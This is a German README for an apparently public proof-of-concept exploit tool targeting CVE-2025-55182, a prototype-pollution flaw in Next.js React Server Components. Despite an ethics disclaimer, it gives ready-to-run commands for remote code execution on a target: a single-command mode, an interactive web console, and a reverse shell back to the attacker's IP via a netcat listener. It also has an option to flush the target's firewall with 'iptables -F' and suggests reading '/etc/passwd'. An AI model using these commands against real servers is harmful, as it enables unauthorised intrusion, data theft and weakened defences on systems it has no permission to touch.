
WEB-CLI_RCE_React2Shell ist ein pädagogisches PoC-Exploit-Tool für CVE-2025-55182, eine kritische Prototype-Pollution-Schwachstelle in Next.js-Anwendungen, die React Server Components verwenden. Entwickelt für CTFs und Forschung, bietet es einen Einzelbefehlsmodus, eine interaktive Web-CLI und Reverse-Shell-Funktionen, um RCE zu demonstrieren.
Dieses Tool ist ein einfacher Proof-of-Concept (PoC) Exploit für CVE-2025-55182. Dabei handelt es sich um einen schwerwiegenden Fehler (Prototype Pollution), der in Next.js-Anwendungen gefunden wurde, die React Server Components verwenden.
Wenn ein Zielserver angreifbar ist, können Sie mit diesem Skript Betriebssystembefehle darauf ausführen (Remote Code Execution, kurz RCE).
Dieses Tool wurde zum Lernen, für CTFs und für verantwortungsvolle Sicherheitsforschung entwickelt.
NUTZE ES ETHISCH. Führe diesen Exploit nur gegen Systeme aus, die dir gehören oder für die du eine ausdrückliche, dokumentierte Erlaubnis zum Testen hast. Unautorisierte Nutzung ist illegal. Dieses Tool dient ausschließlich zu Bildungszwecken.
Dieses Tool bietet drei Hauptmöglichkeiten, Befehle auszuführen: einen einfachen Einzelbefehl, eine vollständige interaktive Webkonsole und einen Versuch einer klassischen Reverse Shell.
Code herunterladen:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
Bibliothek installieren:
pip install requests
Dies ist der einfachste Weg, mit dem Ziel zu interagieren. Es startet eine lokale Webseite auf deinem Rechner, die wie ein Terminal funktioniert.
Skript ausführen:
python3 exploit.py <TARGET_URL> --web-cli
Beispiel: python3 exploit.py http://target.com/ --web-cli
Browser öffnen: Das Skript wird dir sagen, dass du http://127.0.0.1:8000/ öffnen sollst. Du kannst dann Befehle (wie ls, whoami, cat /etc/passwd) direkt in die Webseite eingeben.
Führe einen Befehl aus und erhalte die Ausgabe sofort in deinem lokalen Terminal. Gut für schnelle Überprüfungen wie das Finden deiner Benutzer-ID.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
Beispiel: python3 exploit.py http://target.com/ --cmd 'id'
Verwende diesen Modus, wenn du eine stabile, dauerhafte Verbindung wünschst. Hinweis: Dies scheitert oft in realen Umgebungen aufgrund von Firewalls (Egress-Filtering).
Starte deinen Listener (z.B. netcat):
nc -lvnp 55555
Exploit ausführen:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: Die IP deines Rechners.-p 55555: Der Port, den dein Listener verwendet.--flush (Optional): Versucht, auf dem Ziel zuerst iptables -F auszuführen, um Host-Firewalls zu leeren.Der Exploit nutzt einen Prototype Pollution-Fehler, um RCE zu erreichen.
Object.prototype) hinzufügen können.child_process). Wir ersetzen den Wert dieser Eigenschaft durch unseren Shell-Befehl.execSync) und sofort einen harmlosen Fehler zu werfen. Die Ausgabe des Befehls wird geschickt in das digest-Feld der Fehlermeldung gesteckt. Das Python-Skript liest dann dieses Feld aus, um die Ergebnisse zu erhalten.Diese Forschung stützt sich auf die anfängliche Arbeit und Offenlegung durch die Sicherheits-Community. Danke an alle Forscher und Open-Source-Mitwirkenden.